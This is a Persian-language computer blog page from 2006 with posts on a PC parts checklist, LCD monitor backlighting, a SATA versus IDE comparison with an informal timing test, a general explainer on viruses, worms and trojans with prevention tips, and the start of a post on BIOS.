  • __ Keyboard

  • __ Mouse

  • __ استراحتگاه مچ براي كي برد و موس

  • __ مانيتور

  • __ CD-ROM يا DVD-ROM يا CD-RW يا CD-RW/DVD-ROM

  • __ محافظ اضافه ولتاژ هاي ناگهاني

  • __ Floppy Drive (انتخابي)

  • __ Zip Drive (انتخابي)

  • __ كارت شبكه (انتخابي)

  • __ مودم (انتخابي)

  • __ FireWire/i.Link (IEEE 1394) Card (انتخابي)

  • __ پرينتر (انتخابي)

  • __ اسكنر (انتخابي)

  • __ Webcam (انتخابي)


 
comment نظرات ()
 
 
اساس كار مانيتورهاي LCD
نویسنده : Hossein - ساعت ۱٢:٠٩ ‎ق.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

اساس كار مانيتورهاي LCD :

اساساً سه تكنولوژي كريستال مايع در مانيتورهاي LCD استفاده شده است كه عبارتند از TN+film , IPS ,MVA مهم نيست كه از كدام تكنولوژي استفاده شود همه آنها از يك اساس پيروي مي كنند.

يك يا چند لامپ نئون روشنايي صفحه را تأمين مي كنند براي مدلهاي ارزانتر يك لامپ نئون استفاده شده است اما در مدلهاي گرانتر ممكن است تا چهار لامپ يا حتي بيشتر پيدا كنيد.

تعداد لامپهاي نئون تأثيري در كيفيت تصوير ندارند. در عوض لامپ لامپ دوم به عنوان يك پشتيبان عمل مي كند اگر براي لامپ اول مشكلي پيش بيايد. در واقع عمر مفيد مانيتور افزايش مي يابد از آنجا كه يك لامپ نئون معمولاً 50000 ساعت كار ميكند در حاليكه وسايل الكترونيكي 100000 تا 150000 ساعت كار مي كنند.

براي اينكه از يكنواختي صفحه تصوير اطمينان حاصل شود نور بوسيله يك سيستم منعكس كننده شدت يكساني پيدا مي كند اگر چه ممكن است در نگاه اول به نظر نرسد ولي عملكرد اين صفحات فوق العاده پيچيده است در حقيقت 2 پانل وجود دارد يكي در هر طرف ساب پيكسلها كه هر كدام با يك فيلتر قرمز سبز آبي پوشش داده شده است در يك مانيتور 15 اينچ تعداد ساب پيكسلها به "1024x768x3=2359296" ميرسد هر سلول RGB بوسيله يك ترانزيستور كه ولتاژ مختص به خودش را دارد كنترل مي شود و اين ولتاژ كه در محدوده بزرگي تغيير مي كند باعث مي شود كه كريستالهاي مايع در هر ساب پيكسل در يك زاويه خاص بچرخند كه اين زاويه تعداد نورهاي عبوري از هر ساب پيكسل را تعيين مي كند ( منظور سه نور قرمز سبز و آبي است ). كه در حقيقت سبب بوجود آمدن تصوير صفحه نمايش مي شود. هدف نهايي كريستالها منحرف كردن نور براي عبور از ميان فيلترهاي پلاريزه است قبل از اينكه ديده شود اگر كريستالها همه در جهت فيلتر قرار گرفته باشند نور از آن عبور مي كنند و برعكس اگر همه آنها عمود بر فيلتر قرار گرفته باشند صفحه نمايش سياه باقي مي ماند.


 
comment نظرات ()
 
 
SATA و IDE چه هستند؟
نویسنده : Hossein - ساعت ۱٢:٠٦ ‎ق.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

SATA و IDE چه هستند؟

تكنولوژي ديسك سخت ( HARD DRIVE ) بر پايه پروسس موازي اطلاعات عمل مي كنند و بدين معناست كه اطلاعات به صورت بسته هايي به روشهاهي مختلف ( رندوم ) به باس اطلاعاتي فرستاده مي شوند. اطلاعات از ديسك سخت در فاصله هاي زماني كاملاً تصادفي مي آيند و وارد باس اطلاعاتي شده و در نهايت به سمت مقصد نهايي مي رود. IDE مخفف Integrated Drive Electronics مي باشد همينطور كه مي دانيد رابط IDE گاهي با عنوان ATA شناخته مي شود كه مخفف AT Attachment است.

اين تكنولوژي از سال 1990 به عنوان استاندارد كامپيوترهاي شخصي (PC ) براي هارد ديسك ها بوده است و اين زماني بود كه تكنولوژي مذكور جاي درايوهاي ESDI و MFM را گرفت يعني زماني كه هارد ديسك ها به طور متوسط حجمي معادل 200 مگا بايت داشتند. در سال 1990 اولين هارد ديسك يك گيگا بايتي وارد بازار شد و قيمتي برابر 200 دلار در بازار آمريكا داشت. از آن پس تا كنون IDE تكنولوژي مورد استفاده بوده زيرا هارد ديسكها را با قيمت پايين در اختيار مصرف كننده قرار مي داد، جاي كمتري مي گرفت و سرعت مناسبي داشت.

همتاي IDE در آن زمان SCSI ( كه مخفف Small Computer System Interface است) بود. SCSIكمي از IDE سريعتر است اما بسيار گرانتر است. به علاوه احتياج به خريد يك ادپتر SCSI كه ارزان هم نيست احتياج داريد. به عبارت ديگر IDE بازار هارد ديسكهاي كامپيوتر هاي شخصي را در انحصار خود گرفت. آنطر كه به نظر مي رسد كارخانه هاي معتبر حداقل يك تا دو سال ديگر به توليد هارد ديسكهاي با تكنولوژي IDE ادامه دهند.

هارد ديسكهاي IDE از كابلهاي ريبون پهني استفاده مي كنند كه در داخل كامپيوتر بسيار به چشم مي آيند و مرتب كردن اين كابلها در داخل كامپيوتر خود هنري است.

تكنولوژي هارد ديسك هاي ساتا ( SATA ) بر اساس پردازش اطلاعات متوالي ( سريال ) است. يعني انتقال اطلاعات از هارد ديسك به باس ديتا و در جهت عكس به طور منظم و در دورهاي زماني مشخص انجام مي گيرد.

هارد ديسكهاي ساتا از كابلهاي ريبون با پهناي كمتر استفاده مي كنند كه براي كساني كه آنرا اسمبل مي كنند باعث بسي خوشبختي است. اين كابلهاي نازك داراي كانكتورهاي بست داري هستند كه كار كردن با آنها را ساده تر مي كند.

هارد ديسكهاي ساتا اطلاعات را با سرعت متوسط 150Mb بر ثانيه انتقال مي دهند. اما مقاله هاي زيادي روي اينترنت در مورد هارد ديسكهاي با سرعت 3Gb در ثانيه خواهيد يافت.

اما بياييد اين دو را در عمل با يكديگر مقايسه كنيم و ببينيم چرا صنعت در آينده تكنولوژي SATA را بر خواهد گزيد.

تا كنون در مقايسه دو هارد ديسك به قيمت هم توجه داشتيم اما حالا بدون در نظر گرفتن قيمت و تكنولوژي مرسوم كارايي را بررسي مي كنيم.آزمايش از اين قرار بود. يك كامپيوتر قديمي را به يك هارد  SATA مجهز كرديم. و بعد از آن دو كامپيوتر امروزي ( پنتيوم 4 ) با سرعت متعارف را با هارد ديسك هايIDE براي مقايسه انتخاب كرديم. آزمايش ها و نتايج به قرار زير بودند.

آزمايش 1

آين آزمايش يك انتقال فايل معمولي بود. براي اينكه در هر سه كامپيوتر انتقال اطلاعات كاملاً مشابه باشد در ويندوز XP شاخه :

c:\windows\system32

انتخاب شد در يك سيستم كه در آن ويندوز XP اجرا مي شود اين شاخه در حدود 330 مگابايت حجم دارد. و حدود 2000 فايل در آن وجود دارد. يك فولدر جدير در درايو C (پارتيشن C ) از هارد ديسك ايجاد شد سپس در DOS فرمان

copy>c:>windows> system32>*.*

اجرا شد كه همانطور كه مي دانيد اين دستور همه فايلهاي داخل شاخه system32 را در فولدر جديد كپي مي كند و نتايج جالب بدست آمده آز اين قرار بود:

كامپيوتر و نوع هارد ديسك

زمان انتقال اطلاعات

سيستم جديد اول همراه با IDE 127 ثانيه
سيستم جديد دوم همراه با IDE 151 ثانيه
سيستم قديمي همراه با SATA 44 ثانيه

آزمايش 2

دومين آزمايش زمان بوت شدن است كه زمانهايي كه مربوط به سخت افزار است حذف شده است. يعني از لحظه اي كه تصوير آغازين ويندوز به نمايش در مي آيد تا لحظه اي كه دسك تاپ كامپيوتر به حالت عادي در مي آيد زمان اندازه گرفته شد نتايج به قرار زير است

كامپيوتر و نوع هارد ديسك

زمان بوت

سيستم جديد اول همراه با IDE 28 ثانيه
سيستم جديد دوم همراه با IDE 28 ثانيه
سيستم قديمي همراه با SATA 17 ثانيه

توجه: در اين تستها به كارخانه سازنده ديسكها اشاره نشده است مطمئناً با در نظر گرفتن اين فاكتور تغيير خواهد كرد ولي هر دو مدل IDE و SATA از هارد ديسك ساخت يك كارخانه استفاده شده است.


 
comment نظرات ()
 
 
ويروس های کامپيوتری
نویسنده : Hossein - ساعت ۱٢:٠٦ ‎ق.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

ويروس های کامپيوتری از جمله موارد اسرارآميز و مرموز در دنيای کامپيوتر بوده که توجه اغلب کاربران را بخود جلب می نمايد. ويروس های کامپيوتری بخوبی قدرت آسيب پذيری سيستم های اطلاعاتی مبتنی بر کامپيوتر را به ما نشان می دهند. يک ويروس مدرن و پيشرفته قادر به بروز آسيب های کاملا" غيرقابل پيش بينی در اينترنت است . مثلا" ويروس مليزا (Melissa) ، که در سال 1999 متداول گرديد ، از چنان قدرت و توانی برخوردار بود که شرکت های بزرگی نظير مآيکروسافت و ساير شرکت های بزرگ را مجبور به خاموش نمودن کامل سيستم های پست الکترونيکی نمود. ويروس "ILOVEYOU" ، که در سال 2000 رايج گرديد ، باعث آسيب های فراوان در اينترنت و شبکه های کامپيوتری گرديد.

ويروس های کامپيوتری به دو گروه عمده تقسيم می گردند. گروه اول را "ويروس های سنتی " و گروه دوم را "ويروس های مبتنی بر پست الکترونيکی " می نامند. خصوصيات ، عملکرد و نحوه پيشگيری از هر يک از گروه های فوق متفاوت بوده و در اين راستا لازم است ، اطلاعات لازم در اين خصوص را کسب کرد.

انواع آلودگی

آلودگی الکترونيکی دارای اشکال منتفاوتی است . متداولترين موارد آلودگی الکترونيکی عبارتند از :

- ويروس . ويروس يک قطعه نرم افزار کوچک بوده که بر دوش يک برنامه حقيقی حمل می گردد. مثلا" يک ويروس می تواند خود را به برنامه ای نظير واژه پرداز متصل ( الحاق ) نمايد. هر مرتبه که برنامه واژه پرداز اجراء می گردد ، ويروس نيز اجراء و اين فرصت ( شانس ) را پيدا خواهد کرد که نسخه ای از خود را مجددا" توليد ( الحاق يک نسخه از خود به ساير برنامه ها ) و يا يک خرابی عظيم را باعث گردد.

- ويروس های مبتنی بر پست الکترونيکی . ويروس هائی از اين نوع از طريق پيام های پست الکترونيکی منتقل می گردند. اين نوع ويروس ها بصورت خودکار برای افراد متعدد ، پست خواهند شد. گزينش افراد برای ارسال نامه الکترونيکی بر اساس دفترچه آدرس پست الکترونيکی ، انجام می گيرد.

- کرم ها . يک کرم ، برنامه نرم افزاری کوچکی بوده که با استفاده از شبکه های کامپيوتری و حفره های امنيتی موجود ، اقدام به تکثير خود می نمايند. نسخه ای از "کرم " ، شبکه را پيمايش تا ماشين های ديگر موجود در شبکه را که دارای حفره های امنيتی می باشند ، تشخيص و نسخه ای از خود را تکثير نمايند. کرم ها با استناد به حفره های امنيتی موجود ، نسخه ای از خود را بر روی ماشين های جديد تکثير می نمايند.

- اسب های تراوا. يک اسب تراوا، نوع خاصی از برنامه های کامپيوتری می باشند . برنامه های فوق اين ادعا را دارند که قادر به انجام يک عمليات خاص می باشند ( مثلا" ادعای آنان می تواند شامل يک بازی کامپيوتری باشد ). برنامه های فوق برخلاف ادعای خود نه تنها عمليات مثبتی را انجام نخواهند داد بلکه باعث بروز آسيب های جدی پس از فراهم نمودن شرايط اجراء، می باشند. ( مثلا" ممکن است اطلاعات موجود بر روی هارد ديسک را حذف نمايند) . اسب های تراوا دارای روشی برای تکثير خود نمی باشند.

ويروس چيست ؟

ويروس های کامپيوتری بدين دليل ويروس ناميده شده اند ، چون دارای برخی وجوه مشترک با ويروس های زيست شناسی می باشند. يک ويروس کامپيوتری از کامپيوتری به کامپيوتر ديگر عبور کرده ، دقيقا" مشابه ويروس های زيست شناسی که از شخصی به شخص ديگری منتقل می گردند.

ويروس زيست شناسی يک موجود زنده نيست . ويروس بخشی از DNA بوده و داخل يک روکش حفاظتی قرار می گيرد . ويروس بر خلاف سلول ، قادر به انجام عمليات و يا تکثير مجدد خود نمی باشد. ( ويروس زنده و در قيد حيات نمی باشد ) .يک ويروس زيست شناسی می بايست DNA خود را به يک سلول تزريق نمايد. DNA ويروسی در ادامه با استفاده از دستگاه موجود سلول ، قادر به تکثير خود می گردد. در برخی حالات ، سلول با ذرات ويروسی جديد آلوده تا زمانيکه سلول فعال و باعث رها سازی ويروس گردد.در حالات ديگر ، ذرات ويروس جديد باعث عدم رشد سلول در هر لحظه شده و سلول همچنان زنده باقی خواهد ماند.

ويروس های کامپيوتری دارای وجوه مشترک فوق می باشند. يک ويروس کامپيوتری می بايست بر دوش ساير برنامه ها و يا مستندات قرار گرفته تا در زمان لازم شرايط اجرای آن فراهم گردد.پس از اجرای يک ويروس ، زمينه آلوده نمودن ساير برنامه ها و يا مستندات نيز فراهم می گردد.

کرم چيست ؟

کرم ، يک برنامه کامپيوتری است که قابليت تکثير خود از ماشينی به ماشين ديگر را دارا است . شبکه های کامپيوتری بستر مناسب برای حرکت کرمها و آلوده نمودن ساير ماشين های موجود در شبکه را فراهم می آورند. با استفاده از شبکه های کامپيوتری ، کرمها قادر به تکثير باورنکردنی خود در اسرع زمان می باشند. مثلا" کرم "Code Red" ، که در سال 2001 مطرح گرديد ، قادر به تکثير خود به ميزان 250.000 مرتبه در مدت زمان نه ساعت بود. کرمها در زمان تکثير، زمان کامپيوتر و پهنای باند موجود را استفاده می نمايند. کرم Code Red ، در زمان تکثير به ميزان قابل ملاحظه ای سرعت ترافيک اطلاعاتی بر روی اينترنت را کند می نمود. هر نسخه از کرم فوق ، پيمايش اينترنت بمنظور يافتن سرويس دهندگان ويندوز NT و يا 2000 را آغاز می کرد. هر زمان که يک سرويس دهنده ناامن ( سرويس دهنده ای که بر روی آن آخرين نرم افزارهای امنيتی مايکروسافت نصب نشده بودند ) پيدا می گرديد ، کرم نسخه ای از خود را بر روی سرويس دهنده تکثير می کرد. نسخه جديد در ادامه عمليات پيمايش برای يافتن ساير سرويس دهندگان را آغاز می نمايد. با توجه به تعداد سرويس دهندگان ناامن ، يک کرم قادر به ايجاد صدها و هزاران نسخه از خود است .

نحوه تکثير به چه صورت است ؟

ويروس های اوليه ، کدهائی محدود بوده که به يک برنامه متداول نظير يک بازی کامپيوتری و يا يک واژه پرداز ، الحاق می گرديدند. کاربری ، يک بازی کامپيوتری آلوده را از يک BBS اخذ و آن را اجراء می نمايد. .ويروس ، بخش کوچکی از نرم افزار بوده که به يک برنامه بزرگ متصل می گردد. ويروس های فوق بگونه ای طراحی شده بودند که در زمان اجرای برنامه اصلی ، بعلت فراهم شدن شرايط مساعد ، اجراء می گرديدند. ويروس خود را بدرون حافظه منتقل و در ادامه بدنبال يافتن ساير برنامه های اجرائی موجود بر روی ديسک ، بود. در صورتيکه اين نوع برنامه ها ، پيدا می گرديدند ، کدهای مربوط به ويروس به برنامه اضافه می گرديدند. در ادامه ويروس ، برنامه واقعی را فعال می کرد. کاربران از فعال شدن و اجرای ويروس آگاه نشده و در اين راستا روش های خاصی نيز وجود نداشت. متاسفانه ويروس، نسخه ای از خود را تکثير و بدين ترتيب دو برنامه آلوده می گرديدند. در آينده با توجه به فراهم شدن شرايط لازم ، هر يک از برنامه های فوق ساير برنامه ها را آلوده کرده و اين روند تکراری ادامه می يابد.

در صورتيکه يکی از برنامه های آلوده از طريق ديسکت به شخص ديگری داده شود و يا فايل آلوده برای يک BBS ارسال تا بر روی سرويس دهنده قرار گيرد ، امکان آلوده شدن ساير برنامه ها نيز فراهم خواهد شد. فرآيند فوق نحوه تکثير يک ويروس کامپيوتری را نشان می دهد.

تکثير و گسترش از مهمترين ويژگی های يک ويروس کامپيوتری بوده و در صورت عدم امکان فوق ، عملا" موانع جدی در تکثير ويروس های کامپيوتری بوجود آمده و برخورد با اين نوع برنامه با توجه به ماهيت محدود ميدان عملياتی ، کار پيچيده ای نخواهد بود. يکی ديگر از ويژگی های مهم ويروس های کامپيوتری ، قابليت حملات مخرب آنان بمنظور آسيب رساندن به اطلاعات است . مرحله انجام حملات مخرب عموما" توسط نوع خاصی چاشنی ( نظير ماشه اسلحه ) صورت می پذيرد. نوع حملات متنوع بوده و از نمايش يک پيام ساده تا پاک نمودن تمام اطلاعات موجود را می تواند شامل گردد. ماشه فعال شدن ويروس می تواند بر اساس يک تاريخ خاص و يا تعداد نسخه های تکثير شده از يک ويروس باشد . مثلا" يک ويروس می تواند در تاريخ خاصی فعال و يا پس از ايجاد يکصد نسخه از خود ، فعال و حملات مخرب را آغاز نمايد.

ايجاد کنندگان ويروس های کامپيوتری افرادی آگاه و با تجربه بوده و همواره از آخرين حقه های موجود استفاده می نمايند. يکی از حقه های مهم در اين خصوص ، قابليت استقرار در حافظه و استمرار وضعيت اجرای خود در حاشيه می باشد ( ماداميکه سيستم روشن است). بدين ترتيب امکان تکثير اين نوع ويروس ها با شرايط مطلوبتری فراهم می گردد. يکی ديگر از حقه های موجود ، قابليت آلوده کردن " بوت سکتور " فلاپی ديسک ها و هارد ديسک ها ، می باشد. بوت سکتور شامل يک برنامه کوچک بمنظور استقرار بخش اوليه يک سيستم عامل در حافظه است . با استقرار ويروس های کامپيوتری در بوت سکتور ، اجراء شدن آنها تضمين خواهد شد. ( شرايط مناسب برای اجرای آنها بوجود می آيد). بدين ترتيب يک ويروس بلافاصله در حافظه مستقر و تا زمانيکه سيستم روشن باشد به حضور مخرب خود در حافظه ادامه خواهند داد. ويروس های بوت سکتور قادر به آلوده نمودن ساير بوت سکتورهای فلاپی ديسک های سالمی که دردرايو ماشين قرار خواهند گرفت ، نيز می باشد. در مکان هائی که کامپيوتر بصورت مشترک بين افراد استفاده می گردد ( نظير دانشگاه ها ) ، بهترين شرايط برای تکثير ويروس های کامپيوتری بوجود خواهد آمد ( نظير يک آتش سوزی بزرگ بوده که بسرعت همه چيز را نابود خواهد کرد ).

ويروس های قابل اجراء و بوت سکتور در حال حاضر تهديدی جدی تلقی نمی گردند. مهمترين علت در صحت ادعای فوق ، حجيم شدن ظرفيت برنامه های کامپيوتری است . امروزه اغلب برنامه های کامپيوتری بر روی ديسک های فشرده (CD) ذخيره و در اختيار متقاضيان قرار می گيرند. اطلاعات ذخيره شده بر روی ديسک های فشرده ، غير قابل تغيير بوده و تقريبا" آلودگی اطلاعاتی بر روی آنان غيرممکن است . استفاده از فلاپی ديسک برای توزيع و استفاده برنامه های کامپيوتری نظير آنچه که در اواسط 1980 استفاده می گرديد ، عموميت ندارد. و اين خود می تواند عاملی موثر در عدم گسترش سريع ويروس های اجرائی و خصوصا" ويروس های بوت سکتوری باشد.

در حال حاضر امکان وجود ويروس های اجرائی و يا بوت سکتور ، همچنان نيز وجود داشته و صرفا" امکان گسترش سريع آنها سلب شده است . محيط های مبتنی بر فلاپی ديسک ها ، برنامه های کوچک و ضعف موجود در برخی از سيستم های عامل ، حضور ملموس اين نوع ويروس های کامپيوتری را در دهه 80 ميسر و توجيه پذير کرده بود.

ويروس های پست الکترونيکی

آخرين اطلاعات موجود در رابطه با ويروس های کامپيوتری به " ويروس پست الکترونيکی " اشاره دارد. عملکرد ويروس "مليزا " در سال 1999 بسيار ديدنی بود. ويروس فوق از طريق مستندات ( سندها ) از نوع Word شرکت مايکروسافت ، گسترش و توسط پست الکترونيکی ارسال و توزيع می گرديد. عملکرد ويروس فوق بشکل زير بود :

فردی اقدام به ايجاد يک ويروس کرده ، آن را بعنوان يک سند Word برای " گروه های خبری اينترنت " ، ارسال می کرد. در ادامه هر فرد ديگری که فايل فوق را اخذ و آن را بر روی سيستم خود فعال می کرد ، زمينه اجراء و فعال شدن ويروس را هم فراهم می کرد. ويروس در ادامه ، سند ( بهمراه خود ويروس ) را از طريق يک پيام پست الکترونيکی برای اولين پنجاه نفر موجود در دفترچه آدرس ، ارسال می کرد. پيام الکترونيکی شامل يک متن دوستانه بهمراه نام شخص بود، بنابراين گيرنده بدون هيچگونه نگرانی اقدام به بازنمودن نامه می کرد. در ادمه ويروس ، پنجاه پيام جديد را از کامپيوتر گيرنده پيام ، ارسال می کرد. ويروس مليزا ، سريعترين ويروس از بعد گسترش تاکنون بوده است . همانگونه که در ابتدا اشاره گرديد ، عملکرد و سرعت باورنکردنی گسترش ويروس فوق باعث گرديد که تعدادی از شرکت های بزرگ ، سيستم های پست الکترونيکی خود را غيرفعال نمايند.

عملکرد ويروس ILOVEYOU ، که در سال 2000 مطرح گرديد ، بمراتب ساده تر از ويروس مليزا بود. ويروس فوق شامل کد محدودی بود که بعنوان يک Attachment ( ضميمه ) به يک پيام پست الکترونيکی متصل می شد. افراديکه پيام را دريافت می کردند با فعال نمودن ضميمه ، امکان اجرای ويروس را فراهم می کردند. کد ارسال شده در ادامه نسخه هائی از خود را تکثير و برای افراديکه نام آنها در دفترچه آدرس بود، ارسال می کرد.

ويروس مليزا از قابليت های برنامه نويسی توسط VBA)Visual Basic for Application) که در Ms Word وجود دارد ، استفاده می کرد. VBA يک زبان برنامه نويسی کامل بوده که امکانات متعددی نظير : تغيير محتويات فايل ها و يا ارسال پيام های پست الکترونيکی را فراهم می آورد. VBA دارای يک امکان مفيد و در عين حال خطرناک با نام " اجرای خودکار " است . يک برنامه نويس قادر به درج يک برنامه درون يک سند بوده و بلافاصله پس از باز نمودن سند ، شرايط اجرای کدهای فوق فراهم خواهد شد. ويروس مليزا بدين طريق برنامه نويسی شده بود. هر شخص که سند آلوده به ويروس مليزا را فعال می نمود ، بلافاصله زمينه فعال شدن ويروس نيز فراهم می گرديد. ويروس فوق قادر به ارسال 50 پيام پست الکترونيکی بوده و در ادامه يک فايل مرکزی با نام NORMAL.DOT را آلوده تا هر فايل ديگری که در آينده ذخيره می گردد ، نيز شامل ويروس گردد.

برنامه های مايکروسافت دارای يک ويژگی خاص با نام " حفاظت ماکروها در مقابل ويروس " بوده که از فايل ها و مستندات مربوطه را در مقابل ويروس حفاظت می نمايد. زمانيکه ويژگی فوق فعال گردد ، امکان " اجرای خودکار " ، غيرفعال می گردد. در چنين حالتی در صورتيکه يک سند سعی در اجرای خودکار کدهای ويروسی نمايد ، يک پيام هشداردهنده برروی نمايشگر ظاهر می گردد. متاسفانه ، اکثر کاربران دارای شناخت لازم و مناسب از ماکروها و ماکروهای ويروسی نبوده و بمحض مشاهد پيام هشداردهنده ، از آن چشم پوشی و صرفنظر می نمايند. در چنين مواردی ، ويروس با خيال آسوده اجراء خواهد شد. برخی ديگر از کاربران امکان حفاظتی فوق را غير فعال نموده و ناآگاهانه در توزيع و گسترش ويروس های کامپيوتری نظير مليزا ، سهيم می گردند.

پيشگيری از ويروس

با رعايت چندين نکته ساده می توان يک پوشش مناسب ايمنی در مقابل ويروس های کامپيوتری را ايجاد کرد :

● از سيستم های عامل ايمن و مطمئن نظير : يونيکس و ويندوز NT استفاده تا پوشش حفاظتی مناسبی در مقابل ويروس های سنتی ( نقطه مقابل ويروس های پست الکترونيکی ) ايجاد گردد.

● در صورتيکه از سيستم های عامل غير مطمئن و ايمن استفاده می گردد ، سيستم خود را مسلح به يک نرم افزار حفاظتی در رابطه با ويروس ها ، نمائيد.

● از نرم افزارهائی که توسط منابع غير مطمئن توزيع و ارائه می گردند ، اجتناب و نرم افزارهای مربوطه را از منابع مطمئن تهيه و نصب نمائيد. در ضمن امکان بوت شدن از طريق فلاپی ديسک را با استفاده از برنامه BIOS ، غير فعال کرده تا بدين طريق امکان آلوده شدن ويروس از طريق يک ديسکت که بصورت تصادفی در درايو مربوطه قرار گرفته شده است ، اجتناب شود.

● امکان "حفاظت ماکرو در مقابل ويروس " را در تمام برنامه های مايکروسافت فعال نموده و هرگز امکان اجرای ماکروهای موجود در يک سند را تا حصول اطمينان از عملکرد واقعی آنها ندهيد.


● هرگز بر روی ضمائمی که بهمراه يک پيام پست الکترونيکی ارسال شده و شامل کدهای اجرائی می باشند ، کليک ننمائيد. ضمائمی که دارای انشعاب DOC ( فايل های word) ، انشعاب XLS( صفحه گسترده ) ، تصاوير( فايل های با انشعاب GIF و يا JPG و ...) بوده ، صرفا" شامل اطلاعات بوده و خطرناک نخواهند بود ( در رابطه با فايل های word و Execl به مسئله ماکرو و ويروس های مربوطه دقت گردد ) . فايل های با انشعاب EXE,COM و يا VBS اجرائی بوده و در صورت آلوده بودن به ويروس ، با اجرای آنان بر روی سيستم خود زمينه فعال شدن آنها فرام خواهد شد. بنابراين لازم است از اجرای هرگونه فايل اجرائی که بهمراه پست الکترونيکی برای شما ارسال می گردد ( خصوصا" موارديکه آدرس فرستنده برای شما گمنام و ناشناخنه اس ) ، صرفنظر نمائيد

با تحقق اصول فوق ، يک پوشش ايمنی مناسب در رابطه با ويروس های کامپيوتری بوجود می آيد.

علت ايجاد ويروس های کامپيوتری

انسان ويروس ها را ايجاد می نمايند. برنامه نويس مجبور به نوشتن کد لازم ، تست آن بمنظور اطمينان از انتشار مناسب آن و در نهايت رها سازی و توزيع ويروس است . برنامه نويس همچنين می بايست نحوه حملات مخرب را نيز طراحی و پياده سازی نمايد ( تبين و پياده سازی سياست حملات مخرب). چرا انسان ها دست به چنين اقداماتی زده و خالق ويروس های کامپيوتری می گردند؟

در رابطه با سوال فوق ، حداقل سه دليل وجود دارد :

دليل اول : اولين دليل مربوط به دلايل روانی با گرايش مخرب در وجود اين نوع افراد است . دليل فوق صرفا" به دنيای کامپيوتر برنمی گردد. مثلا" فردی بدون دليل ، شيشه اتومبيل فرد ديگری را شکسته تا اقدام به سرقت نمايد، نوشتن و پاشينن رنگ بر روی ساختمانها ، ايجاد حريق تعمدی در يک جنگل زيبا ، نمونه هائی در ساير زمينه ها بوده که بشريت به آن مبتلا است .برای برخی از افراد انجام عمليات فوق ، نوعی هيجان ايجاد می کند. در صورتيکه اين نوع اشخاص دارای توانائی لازم در رابطه با نوشتن برنامه های کامپيوتری باشند ، توان و پتانسيل خود را صرف ايجاد ويروس های مخرب خواهند کرد.

دليل دوم : دليل دوم به هيجانات ناشی از مشاهده اعمال نادرست برمی گردد. تعدادی از افراد دارای يک شيفتگی خاص بمنظور مشاهده حوادثی نظير انفجار و تصادفات می باشند. قطعا" در مجاورت منزل شما به افرادی برخورد می نمايد که عاشق يادگيری نحوه استفاده از باروت ( و يا ترقه ) بوده و اين روند ادامه داشته و همزمان با افزايش سن اين افراد آنها تمايل به ايجاد بمب های بزرگتر را پيدا می نمايند. فرآيند فوق تا زمانيکه فرد مورد نظر خسته شده و يا به خود آسيبی برساند ، ادامه خواهد يافت . ايجاد يک ويروس کامپيوتری که بسرعت تکثير گردد مشابه موارد فوق است . افراديکه ويروس های کامپيوتری را ايجاد می نمايند ، بمبی درون کامپيوتر را ايجاد کرده اند و بموازات افزايش کامپيوترهای آلوده ، صدای انفجار بيشتری بگوش فرا خواهد رسيد.

دليل سوم : دليل سوم به حس خود بزرگ جلوه دادن و هيجانات ناشی از آن برمی گردد. ( نظير صعود به قله اورست ) اورست موجود است و هر فرد می تواند مدعی صعود به آن گردد. در صورتيکه برنامه نويسی يک حفره امنيتی موجود در يک سيستم را مشاهده و امکان سوءاستفاده از آن وجود داشته باشد ، سريعا" بدنبال سوءاستفاده از وضعيت فوق (قبل از اينکه سايرين اقدام به ناکام نمودن وی را در اين زمينه داشته باشند) ، بر خواهند آمد.

متاسفانه اکثر ايجاد کنندگان ويروس های کامپيوتری فراموش کرده اند که آنها باعث ايجاد خرابی واقعی برای افراد واقعی هستند ( هيچ چيز در خيال و رويا نمی باشد ) حذف تمام اطلاعات موجود بر روی هارد ديسک اشخاص ، يک خرابکاری واقعی و نه خيالی! است .صرف زمان زياد در يک شرکت بزرگ برای برطرف نمودن فايل های آلوده به ويروس يک خرابکاری واقعی و نه خيالی ! است. حتی ارسال يک پيام ساده و بی محتوا نيز بدليل تلف شدن زمان ، يک نوع خرابکاری است . خوشبختانه قانون در اين زمينه سکوت نکرده و در اين راستا قوانين لازم تصويب و مجازات های سنگين برای افراديکه ويروس های کامپيوتری را ايجاد می نمايند ، پيش بينی شده است .

تاريخچه

ويروس های سنتی کامپيوتر در اواخر 1980 بشدت گسترش يافتند. موضوع فوق دارای چندين دليل است .

دليل اول ، به گسترش استفاده از کامپيوترهای شخصی برمی گردد. قبل از 1980 استفاده از کامپيوتر در منازل بسيار کم و در مواردی شامل استفاده محدود بصورت سرگرمی و اسباب بازی بود. کامپيوترهای واقعی کمياب و صرفا" در اختيار متخصصين و کارشناسان مجرب گذاشته می گرديد. در سال 1980 ، استفاده از کامپيوتر بشدت گسترش و در موارد متعددی بخدمت گرفته گرديد.

دومين دليل ، به استفاده از سيستم های BBS برمی گردد. افراد از طريق مودم به يک BBS متصل و انواع برنامه های مورد نياز خود را اخذ (Download) می کردند. بازيهای کامپيوتری نمونه ای از برنامه های کامپيوتری بودند که بشدت با استقبال مواجه و همواره از طريق مراکز BBS توزيع و منتشر می شدند. طبيعی است آلوده بودن يکی از بازيهای کامپيوتری که علاقه مندانن زيادی داشت ، می توانست در مدت زمان کوتاهی باعث انتشار و تکثير يک ويروس کامپيوتری گردد.

سومين دليل ، استفاده فراوان از فلاپی ديسک ها بمنظور استفاده از برنامه های کامپيوتری بود. در سال 1980 ، برنامه ها دارای ظرفيت کم بوده و امکان استقرار يک سيستم عامل ، يک واژه پرداز و مستندات فراوانی در يک و يا دو فلاپی ديسک وجود داشت . اغلب کامپيوترها در آن زمان دارای هارد ديسک نبوده و می بايست برای راه اندازی کامپيوتر از فلاپی ديسک استفاده می شد ، استفاده از فلاپی ديسک ها ، زمينه ای مساعد برای توزيع و انتشار برنامه های آلوده را فراهم می کرد.


 
comment نظرات ()
 
 
 
نویسنده : Hossein - ساعت ۱۱:٥٥ ‎ب.ظ روز چهارشنبه ٢٢ شهریور ،۱۳۸٥
 
همه چيز در باره بايوس كامپيوترتان

اغلب برای افراد مشکل است که تفاوت بین سخت افزار و نرم افزار را درک نمایند و این به این دلیل است که این دو موضوع در طراحی،ساخت وپیاده سازی سیستم ها بسیار به هم وابسته اند . برای درک بهتر تفاوت بین آنها لازم است که ابتدا مفهوم BOIS را درک کنید.

BOISتنها کلمه ای است که می تواند تمام درایورهایی را که در یک سیستم به عنوان واسط سخت افزار سیستم و سیستم عامل کار می کنند ، را شرح دهد.
